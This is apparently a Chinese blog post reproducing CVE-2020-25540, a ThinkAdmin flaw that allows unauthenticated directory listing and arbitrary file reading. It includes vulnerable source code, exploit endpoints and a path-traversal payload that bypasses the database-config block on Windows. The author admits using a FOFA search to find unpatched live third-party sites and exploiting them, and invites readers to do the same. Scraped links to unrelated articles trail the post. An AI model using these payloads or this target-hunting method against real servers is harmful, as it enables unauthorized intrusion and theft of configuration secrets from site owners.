CVE-2020-25540:ThinkAdmin未授权列目录/任意文件读取漏洞复现
目录
1. 简介
2. 影响范围
3. 环境搭建
3.1 安装Composer
4. 漏洞复现
4.1 列举目录
4.2 任意文件读取
1. 简介
ThinkAdmin 是基于 ThinkPHP后台开发框架,在ThinkAdmin v6版本存在路径遍历漏洞,该漏洞可以利用GET请求编码参数读取远程服务器上任意文件。
2. 影响范围
Thinkadmin ≤ 2020.08.03.01
v5(任意文件读取)
v6(列目录,任意文件读取)
3. 环境搭建
ThinkAdmin 源码仓库:https://github.com/zoujingli/ThinkAdmin
详细安装过程请查看官方手册,环境搭建过程均来自手册。
靶机 winserver 2008
ThinkAdmin版本小于 ≤ 2020.08.03.01
PHP >= 7.0.1
据手册说明6.0版本后,必须通过Composer方式安装和更新,所以无法通过Git安装。
3.1 安装Composer
如果还没有安装Composer,在 Linux 和 Mac OS X 中运行如下命令即可。
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
如果是Windows环境,请先下载 Composer-Setup.exe 。至于想了解Composer是什么请自行百度,查阅相关手册。
然后双击安装包,一直默认就行了,根据官网的建议使用国内的镜像。
打开命令行窗口(windows用户)或者 Linux 控制台执行如下命令
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
如果是第一次安装,在命令行内,切换到指定的网站根目录下面执行命令:
composer create-project topthink/think thinkadmin
thinkadmin 是目录可以任意更改
如果是已经安装过了,执行以下命令更新
composer update topthink/framework
测试运行命令
进入命令行,执行命令 php think run
php think run -p 80 # 可以指定端口
在浏览器中输入地址访问测试。
到这儿整个靶机环境就算搭建完成
总结:使用Composer安装会有一个问题,关于Composer的详细情况请百度官方文档查看相关内容,但是要清除这个工具是一个PHP依赖管理工具,根据官方的安装文档执行命令后只需要执行一遍,如果需要重新执行安装需要彻底删除相关依赖库。个人建议直接下载源码安装,因为就算你安装了也需要自行导入数据库,本人开始以为是全自动的,浏览器有些不好用,使用抓包工具才发现是没有导入数据库和配置数据库配置文件。
4. 漏洞复现
互联网上应该找不到存在漏洞的版本了,所有的链接都是指向官方的代码仓库,下载的源码安装,本人未能成功利用本地环境复现成功。但是这怎么能难道足智多谋的本人呢?最终还没找到了一些还未及时修复的站。
使用 fofa 网络空间搜索引擎,搜索语法如下:
app="ThinkAdmin"
能获得很多结果,但是并不是所有的都存在相关漏洞的,具体的操作请自行发掘。
4.1 列举目录
查看版本url
https://xx.xx.xx.xx/admin/login.html?s=admin/api.Update/version
文件 app/admin/controller/api/Update.php
存在3个function,都是不用登录认证就可以使用的,引用列表如下:
namespace app\admin\controller\api;use think\admin\Controller; use think\admin\service\InstallService; use think\admin\service\ModuleService;
version()可以获取到当前版本:2020.08.03.01,小于这个版本都有可能存在该漏洞。
在下面的代码里发现直接使用POST方法把rules和ignore参数传给 InstallService::instance()->getList() ,根据上面的use引用知道文件路径:
vendor/zoujingli/think-library/src/service/InstallService.php
/**
* 读取文件列表
*/
public function node()
{$this->success('获取文件列表成功!', InstallService::instance()->getList(json_decode($this->request->post('rules', '[]', ''), true),json_decode($this->request->post('ignore', '[]', ''), true)));
}
跟踪getList,会利用_scanList()去遍历$rules数组。
/*** 获取文件信息列表* @param array $rules 文件规则* @param array $ignore 忽略规则* @param array $data 扫描结果列表* @return array*/
public function getList(array $rules, array $ignore = [], array $data = []): array
{// 扫描规则文件foreach ($rules as $key => $rule) {$name = strtr(trim($rule, '\\/'), '\\', '/');$data = array_merge($data, $this->_scanList($this->root . $name));}// 清除忽略文件foreach ($data as $key => $item) foreach ($ignore as $ign) {if (stripos($item['name'], $ign) === 0) unset($data[$key]);}// 返回文件数据return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
}
调用 scanDirectory()去递归遍历目录下的文件,最后在透过 _getInfo()去获取文件名与哈希,由下面的代码可知程序没有进行任何验证,攻击者可以在未授权的情况下读取服务器文件列表。
/*** 获取目录文件列表* @param string $path 待扫描目录* @param array $data 扫描结果* @return array*/
private function _scanList($path, $data = []): array
{foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {$data[] = $this->_getInfo(strtr($file, '\\', '/'));}return $data;
}
/*** 获取所有PHP文件列表* @param string $path 扫描目录* @param array $data 额外数据* @param string $ext 文件后缀* @return array*/
public function scanDirectory($path, $data = [], $ext = 'php')
{if (file_exists($path)) if (is_file($path)) $data[] = $path;elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {$realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item;if (is_readable($realpath)) if (is_dir($realpath)) {$data = $this->scanDirectory($realpath, $data, $ext);} elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) {$data[] = strtr($realpath, '\\', '/');}}return $data;
}
/*** 获取指定文件信息* @param string $path 文件路径* @return array*/
private function _getInfo($path): array
{return ['name' => str_replace($this->root, '', $path),'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))),];
}
利用以下payload读取网站根目录
http://xxxxx/ThinkAdmin/public/admin.html?s=admin/api.Update/node
利用POST方法控制$rules参数
4.2 任意文件读取
/*** 读取文件内容*/
public function get()
{$filename = decode(input('encode', '0'));if (!ModuleService::instance()->checkAllowDownload($filename)) {$this->error('下载的文件不在认证规则中!');}if (file_exists($realname = $this->app->getRootPath() . $filename)) {$this->success('读取文件内容成功!', ['content' => base64_encode(file_get_contents($realname)),]);} else {$this->error('读取文件内容失败!');}
}
首先从get读取 encode 参数并使用decode()解码:
/*** 解密 UTF8 字符串* @param string $content* @return string*/
function decode($content)
{$chars = '';foreach (str_split($content, 2) as $char) {$chars .= chr(intval(base_convert($char, 36, 10)));}return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
}
解密utf8字符串,刚好上面有个加密utf8字符串的encode(),攻击时直接调用就可以了。
/*** 加密 UTF8 字符串* @param string $content* @return string*/
function encode($content)
{[$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);return $chars;
}
跟进ModuleService::instance()->checkAllowDownload(),文件路径 vendor/zoujingli/think-library/src/service/ModuleService.php :
/*** 检查文件是否可下载* @param string $name 文件名称* @return boolean*/
public function checkAllowDownload($name): bool
{// 禁止下载数据库配置文件if (stripos($name, 'database.php') !== false) {return false;}// 检查允许下载的文件规则foreach ($this->getAllowDownloadRule() as $rule) {if (stripos($name, $rule) !== false) return true;}// 不在允许下载的文件规则return false;
}
代码是禁止下载数据库配置文件database.php,查看允许下载的文件规则 getAllowDownloadRule():
/*** 获取允许下载的规则* @return array*/
public function getAllowDownloadRule(): array
{$data = $this->app->cache->get('moduleAllowRule', []);if (is_array($data) && count($data) > 0) return $data;$data = ['config', 'public/static', 'public/router.php', 'public/index.php'];foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}";$this->app->cache->set('moduleAllowRule', $data, 30);return $data;
}/**
*允许列表
*config
*public/static
*public/router.php
*public/index.php
*app/admin
*app/wechat
*/
参数$name被限制了必须要是允许文件列表和不能说是database.php文件才能够被读取,可以通过 'public/static/../../1.txt' 读取根目录的1.txt。在Linux环境下对于database.php的限制是没法绕过的,但是在windows下可以把 . 替换成 " ,传入
public/static/../../config/database"php
使用编码脚本进行编码的结果为:
尝试读取数据库配置文件(找了半天也没有找到windows的,也没法读取),于是尝试读取其他文件:
本文参考:
https://github.com/zoujingli/ThinkAdmin/issues/244
CVE-2020-25540:ThinkAdmin未授权列目录/任意文件读取漏洞复现相关推荐
- ThinkAdmin列目录/任意文件读取(CVE-2020-25540 )漏洞复现及环境搭建
ThinkAdmin列目录/任意文件读取(CVE-2020-25540 )漏洞复现 漏洞介绍 ThinkAdmin 是基于 ThinkPHP后台开发框架,在ThinkAdmin v6版本存在路径遍历漏 ...
- Grafana 未授权任意文件读取漏洞复现
1.fofa 批量搜索 app="Grafana" 漏洞URL: {{BaseURL}}/public/plugins/{{plugin-id}}/../../../../../. ...
- Grafana 中存在严重的未授权任意文件读取漏洞,已遭利用
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Grafana Labs 发布紧急安全更新,修复了影响该公司主产品 Grafana 仪表盘中的严重漏洞 (CVE-2021-43798),CVS ...
- CVE-2021-43798 Grafana 未经授权的任意文件读取漏洞
CVE-2021-43798 Grafana 未经授权的任意文件读取漏洞 目录 漏洞原理 漏洞信息 受影响版本 FOFA搜集相关资产 漏洞分析&漏洞复现 解决方案 漏洞原理 Grafana是一 ...
- ThinkAdmin任意文件读取漏洞(CVE-2020-25540)
简述 ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统 漏洞描述 ThinkAdmin6版本存在路径遍历漏洞.该漏洞主要是因为api中存在危险函数,没有任何过滤.攻击者可利用该漏洞 ...
- python和django的目录遍历漏洞(任意文件读取)
1. 什么是目录遍历漏洞 "目录遍历漏洞"的英文名称是Directory Traversal 或 Path Traversal.指攻击者通过在URL或参数中构造 ../ ..%2F ...
- [网鼎杯 2020 白虎组]PicDown(任意文件读取)
打开界面发现有一个get传参然后,尝试任意文件读取漏洞,/etc/passwd看一下,提示下载了一个jpg图片然后 打不开只能用 010查看一下信息 看来是猜对了,然后 如果日记没删掉可以查看历史记 ...
- XenMobile目录遍历任意文件读取(CVE-2020-8209)
XenMobile目录遍历任意文件读取(CVE-2020-8209) 利用此漏洞,可以读取Web服务器根目录之外的任意文件,包括配置文件和敏感的加密密钥.不需要授权. POC(路径遍历) /jsp/h ...
- 目录浏览(目录遍历)漏洞和任意文件读取/下载漏洞
目录 目录浏览(目录遍历)漏洞 任意文件读取/下载漏洞 目录浏览(目录遍历)漏洞 目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件 ...
最新文章
- 不简单的 SimpleDateFormat
- graphviz linux教程,程序员绘图利器 — Graphviz
- POJ2406 KMP前缀周期
- python求最小值不能使用min和sotred_python基础——内置函数
- eclipse环境配置、快捷键及基本操作
- 机器学习线性回归案例讲解_09机器学习实战之简单线性回归
- 据说这是双11前互联网人的一天~
- vim xxd命令查看二进制文件内容
- 图像处理-RBG图像和灰度图像
- Spring : Importxxx系列注解
- scrapy 入门案例
- selenium 验证元素是否存在_使用selenium判断标签的元素值是否存在
- Java添加水印+图片水印+文字水印
- 冷热分离和直接使用大数据库_用读写分离与分表分库解决高访问量和大数据量...
- Git Bash 不能输入中文的简单解决办法
- linux必看书籍推荐
- 批量绘图 | EXCEL绘制基站扇区地图
- 动态规划之背包问题 01背包
- Linux内核的下载和解压
- 标准库intrins.h中的循环指令在多种流水灯方式上的应用
热门文章
- Java开发内存16g够用不_讨论!现在的你是否还能用16G手机,内存还够不够用?...
- Word 2016 公式编辑器中微分符号的竖线(2018.5.17)
- 亲戚(relative)
- 数字转中文大写= 1234= 一千二百三十四
- UltralSo制作u盘映像,出现“设备忙,请关闭其他应用程序”的处理方法。
- 解决烘焙光照贴图有黑斑
- 如何学习SDN及网络自动化
- 转:Flutter做出剑气效果
- SqlServer误删数据恢复
- linux系统fasta程序,Linux生信练习2--fastq/fasta